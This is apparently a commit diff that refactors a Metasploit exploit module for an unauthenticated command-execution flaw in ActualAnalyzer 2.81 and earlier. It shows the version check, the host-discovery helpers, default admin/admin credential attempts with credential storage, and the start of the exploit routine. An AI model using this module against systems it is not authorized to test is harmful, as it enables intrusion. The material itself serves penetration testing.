1
1
##
2
- # This module requires Metasploit: http//metasploit.com/download
2
+ # This module requires Metasploit: http: //metasploit.com/download
3
3
# Current source: https://github.com/rapid7/metasploit-framework
4
4
##
5
5
@@ -11,10 +11,11 @@ class Metasploit3 < Msf::Exploit::Remote
11
11
include Msf ::Exploit ::Remote ::HttpClient
12
12
13
13
def initialize ( info = { } )
14
- super ( update_info ( info ,
14
+ super ( update_info (
15
+ info ,
15
16
'Name' => "ActualAnalyzer 'ant' Cookie Command Execution" ,
16
17
'Description' => %q{
17
- This module exploits a command execution vulnerability in
18
+ This module exploits a command execution vulnerability in
18
19
ActualAnalyzer version 2.81 and prior.
19
20
20
21
The 'aa.php' file allows unauthenticated users to
@@ -47,13 +48,14 @@ def initialize(info = {})
47
48
'Privileged' => false ,
48
49
'DisclosureDate' => 'Aug 28 2014' ,
49
50
'DefaultTarget' => 0 ) )
50
- register_options (
51
- [
52
- OptString . new ( 'TARGETURI' , [ true , 'The base path to ActualAnalyzer' , '/lite/' ] ) ,
53
- OptString . new ( 'USERNAME' , [ false , 'The username for ActualAnalyzer' , 'admin' ] ) ,
54
- OptString . new ( 'PASSWORD' , [ false , 'The password for ActualAnalyzer' , 'admin' ] ) ,
55
- OptString . new ( 'ANALYZER_HOST' , [ false , 'A hostname or IP monitored by ActualAnalyzer' , '' ] )
56
- ] , self . class )
51
+
52
+ register_options (
53
+ [
54
+ OptString . new ( 'TARGETURI' , [ true , 'The base path to ActualAnalyzer' , '/lite/' ] ) ,
55
+ OptString . new ( 'USERNAME' , [ false , 'The username for ActualAnalyzer' , 'admin' ] ) ,
56
+ OptString . new ( 'PASSWORD' , [ false , 'The password for ActualAnalyzer' , 'admin' ] ) ,
57
+ OptString . new ( 'ANALYZER_HOST' , [ false , 'A hostname or IP monitored by ActualAnalyzer' , '' ] )
58
+ ] , self . class )
57
59
end
58
60
59
61
#
@@ -77,10 +79,9 @@ def check
77
79
if !res
78
80
vprint_error ( "#{ peer } - Connection failed" )
79
81
return Exploit ::CheckCode ::Unknown
80
- elsif res . code == 200 && res . body =~ /title="ActualAnalyzer Lite \( free\) ([\d \. ]+)"/
81
- version = $1
82
+ elsif res . code == 200 && /title="ActualAnalyzer Lite \( free\) (?<version>[\d \. ]+)"/ =~ res . body
82
83
vprint_status ( "#{ peer } - Found version: #{ version } " )
83
- return Exploit ::CheckCode ::Vulnerable if version =~ /^2 \. (81|80|[0-7])/
84
+ return Exploit ::CheckCode ::Vulnerable if Gem :: Version . new ( version ) <= Gem :: Version . new ( '2.81' )
84
85
return Exploit ::CheckCode ::Detected
85
86
elsif res . code == 200 && res . body =~ /ActualAnalyzer Lite/
86
87
return Exploit ::CheckCode ::Detected
@@ -116,13 +117,12 @@ def get_analytics_host_view
116
117
)
117
118
if !res
118
119
vprint_error ( "#{ peer } - Connection failed" )
119
- elsif res . body =~ /<option value="?[\d ]+"?[^>]*>Page: https?:\/ \/ ([^\/ ^<]+)/
120
- analytics_host = $1
120
+ elsif /<option value="?[\d ]+"?[^>]*>Page: https?:\/ \/ (?<analytics_host>[^\/ ^<]+)/ =~ res . body
121
121
vprint_good ( "#{ peer } - Found analytics host: #{ analytics_host } " )
122
+ return analytics_host
122
123
else
123
124
vprint_status ( "#{ peer } - Could not find any hosts on view.php" )
124
125
end
125
- analytics_host
126
126
end
127
127
128
128
#
@@ -138,13 +138,12 @@ def get_analytics_host_code
138
138
)
139
139
if !res
140
140
vprint_error ( "#{ peer } - Connection failed" )
141
- elsif res . code == 200 && res . body =~ /alt='ActualAnalyzer' src='https?:\/ \/ ([^\/ ^']+)/
142
- analytics_host = $1
141
+ elsif res . code == 200 && /alt='ActualAnalyzer' src='https?:\/ \/ (?<analytics_host>[^\/ ^']+)/ =~ res . body
143
142
vprint_good ( "#{ peer } - Found analytics host: #{ analytics_host } " )
143
+ return analytics_host
144
144
else
145
145
vprint_status ( "#{ peer } - Could not find any hosts on code.php" )
146
146
end
147
- analytics_host
148
147
end
149
148
150
149
#
@@ -178,8 +177,7 @@ def get_analytics_host_admin
178
177
vprint_error ( "#{ peer } - Connection failed" )
179
178
elsif res . code == 200 && res . body =~ />Login</
180
179
vprint_status ( "#{ peer } - Login failed." )
181
- elsif res . code == 200 && res . body =~ /alt='ActualAnalyzer' src='https?:\/ \/ ([^\/ ^']+)/
182
- analytics_host = $1
180
+ elsif res . code == 200 && /alt='ActualAnalyzer' src='https?:\/ \/ (?<analytics_host>[^\/ ^']+)/ =~ res . body
183
181
vprint_good ( "#{ peer } - Found analytics host: #{ analytics_host } " )
184
182
print_good ( "#{ peer } - Login successful! (#{ user } :#{ pass } )" )
185
183
service_data = {
@@ -191,7 +189,7 @@ def get_analytics_host_admin
191
189
}
192
190
credential_data = {
193
191
origin_type : :service ,
194
- module_fullname : self . fullname ,
192
+ module_fullname : fullname ,
195
193
private_type : :password ,
196
194
private_data : pass ,
197
195
username : user
@@ -205,14 +203,14 @@ def get_analytics_host_admin
205
203
}
206
204
login_data . merge! ( service_data )
207
205
create_credential_login ( login_data )
206
+ return analytics_host
208
207
else
209
208
vprint_status ( "#{ peer } - Could not find any hosts on admin.php" )
210
209
end
211
- analytics_host
212
210
end
213
211
214
212
def exploit
215
- if datastore [ 'ANALYZER_HOST' ] . nil? || datastore [ 'ANALYZER_HOST' ] == ''
213
+ if datastore [ 'ANALYZER_HOST' ] . blank?
216
214
analytics_host = get_analytics_host_code
217
215
analytics_host = get_analytics_host_view if analytics_host . nil?
218
216
analytics_host = get_analytics_host_admin if analytics_host . nil?
0 commit comments